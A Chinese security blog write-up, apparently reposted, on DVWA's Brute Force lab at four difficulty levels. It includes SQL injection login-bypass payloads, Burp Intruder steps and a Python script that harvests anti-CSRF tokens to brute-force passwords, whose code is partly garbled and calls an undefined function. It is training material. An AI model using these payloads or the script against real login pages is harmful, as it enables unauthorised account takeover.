DVWA Brute Force

  • A+
所属分类:安全文章

I guess it comes down to a simple choice: get busy living or get busy dying.

DVWA Brute Force

0x01.Brute Force(Low)

相关的代码分析

if( isset( $_GET[ 'Login' ] ) ) {    // Get username    $user = $_GET[ 'username' ];
// Check the database $query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";    $result = mysql_query( $query ) or die'<pre>' . mysql_error() . '</pre>' );
可以看到,服务器只是通过 isset( $_GET[ 'Login' ]) 来判断 参数Login是否被设置(isset函数在php中用来检测变量是否设置,该函数返回的是布尔类型的值,即true/false),没有任何的防爆破机制,且对参数username、password没有做任何过滤,存在明显的sql注入漏洞。
第一种方法
用burp的intruder模块爆破
加标识符
DVWA Brute Force
设置payload
DVWA Brute Force
设置线程,并开始爆破
DVWA Brute Force
查看返回信息中,长度不同的,再看返回状态,爆破成功,账号:admin 密码:password
DVWA Brute Force
第二种方法
使用SQL注入
账号输入admin'发现报错
DVWA Brute Force
在用户名处注入语句,密码处为空
admin' or '1'='1或者admin' #
DVWA Brute Force
0x02.Brute Force(Medium)
相关的代码分析
DVWA Brute Force
相比Low级别的代码,Medium级别的代码主要增加了mysql_real_escape_string函数,这个函数会对字符串中的特殊符号(x00,n,r,,’,”,x1a)进行转义,基本上能够抵御sql注入攻击,说基本上是因为查到说 MySQL5.5.37以下版本如果设置编码为GBK,能够构造编码绕过mysql_real_escape_string 对单引号的转义(因实验环境的MySQL版本较新,所以并未做相应验证);同时,$pass做了MD5校验,杜绝了通过参数password进行sql注入的可能性。但是,依然没有加入有效的防爆破机制(登录错误的sleep(2)实在算不上)。
虽然sql注入不再有效,但依然可以使用Burpsuite进行爆破,与Low级别的爆破方法基本一样,这里就不赘述了。
0x03.Brute Force(High)
相关代码分析
DVWA Brute Force
High级别的代码加入了Token,可以抵御CSRF攻击,同时也增加了爆破的难度,通过抓包,可以看到,登录验证时提交了四个参数:username、password、Login以及user_token。
DVWA Brute Force
每次次服务器返回的登陆页面中都会包含一个随机的user_token的值,用户每次登录时都要将user_token一起提交。服务器收到请求后,会优先做token的检查,再进行sql查询。
DVWA Brute Force
同时,High级别的代码中,使用了stripslashes(去除字符串中的反斜线字符,如果有两个连续的反斜线,则只去掉一个)、 mysql_real_escape_string对参数username、password进行过滤、转义,进一步抵御sql注入。
DVWA Brute Force
第一种方法
由于加入了Anti-CSRFtoken预防无脑爆破,存在user_token时的登录流程为:
DVWA Brute Force
简单用python写个脚本。
下面的脚本(python 3.7),用户名为admin,对password参数进行爆破并打印结果,仅供各位参考。
# !/usr/bin/env python# -*- coding: utf-8 -*-@File  : brute_force.py# @Date  : 20-2-4下午4:26# @Desc  : 脚本爆破带token的web网站

from bs4 import BeautifulSoupimport requests

header = { 'Host': 'x.x.x.x', 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3', 'Accept-Encoding': 'gzip, deflate', 'Referer': 'http://x.x.x.x/vulnerabilities/brute/index.php', 'Cookie': 'security=high; PHPSESSID=lksl77ja4uiqqogplk4fl1po6u', 'DNT': '1', 'Connection': 'close', 'Upgrade-Insecure-Requests': '1'}

login_header = { 'Host': 'x.x.x.x', 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3', 'Accept-Encoding': 'gzip, deflate', 'Cookie': 'security=high; PHPSESSID=lksl77ja4uiqqogplk4fl1po6u', 'DNT': '1', 'Connection': 'close', 'Upgrade-Insecure-Requests': '1'}

url = "http://x.x.x.x/vulnerabilities/brute/index.php"login_url = r'http://x.x.x.x/login.php'

# 获取爆破界面的tokendef get_target_token(requrl, header): response = requests.get(url=requrl, headers=header) data = response.text print('t', len(data)) # print(data) soup = BeautifulSoup(data, "html.parser") # user_token = soup.select('form[action] > input[type]') # get the user_token user_token = soup.find_all('input')[3].get('value') # get the user_token # print(user_token) return user_token

# 先登录主界面login_token = get_login_token(login_url, login_header)requests.post(url=login_url, headers=login_header, data={'username': 'admin', 'password': 'password', 'Login': 'Login', 'user_token': login_token})

# 进入目标界面user_token = get_target_token(url, header)i = 0for line in open("password.txt"): requrl = "http://x.x.x.x/vulnerabilities/brute/index.php" + "?username=admin&password=" + line.strip() + "&Login=Login&user_token=" + user_token print(i, 'tadmint', line.strip(), end='t') user_token = get_target_token(requrl, header) i += 1
print('Task Done!')
脚本运行结果如下
DVWA Brute Force
对比结果看到,密码为password时返回的长度不太一样,手工验证,登录成功,爆破完成。
第二种方法
用burp爆破,具体设置如下:
选择pitchfork进行爆破,添加密码和token变量
DVWA Brute Force
因为token值是单次传递的,所以线程数改为1
DVWA Brute Force
在GREP-Extract中获取响应包,从中提取参数。选中token值,这个时候工具会自动编辑规则,复制token值备用。点击ok。
DVWA Brute Force
在页面最底部找到always选项
DVWA Brute Force
回到payloads模块,正常添加第一个变量密码的字典
DVWA Brute Force
第二个变量选择递归搜索(Recursive grep)
DVWA Brute Force
查看返回信息中,长度不同的,再看返回状态,爆破成功,账号:admin 密码:password
DVWA Brute Force
0x04.Brute Force(Impossible)
相关的代码分析
DVWA Brute Force
可以看到Impossible级别的代码加入了可靠的防爆破机制,当检测到频繁的错误登录后,系统会将账户锁定,爆破也就无法继续。
同时采用了更为安全的PDO(PHP Data Object)机制防御sql注入,这是因为不能使用PDO扩展本身执行任何数据库操作,而sql注入的关键就是通过破坏sql语句结构执行恶意的sql命令。
0x05.写在最后
免责声明:本站提供的安全工具、程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!本文部分内容来自网络,在此说明。
转载声明:著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
欢迎关注公众号:24h进德修业,一名普通的白帽子,维护着一个既讲技术又有温度的原创号,一如既往地学习和分享,希望能够给大家带来帮助,前行的道路上感谢有您的关注与支持。

本文始发于微信公众号(24h进德修业):DVWA Brute Force

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: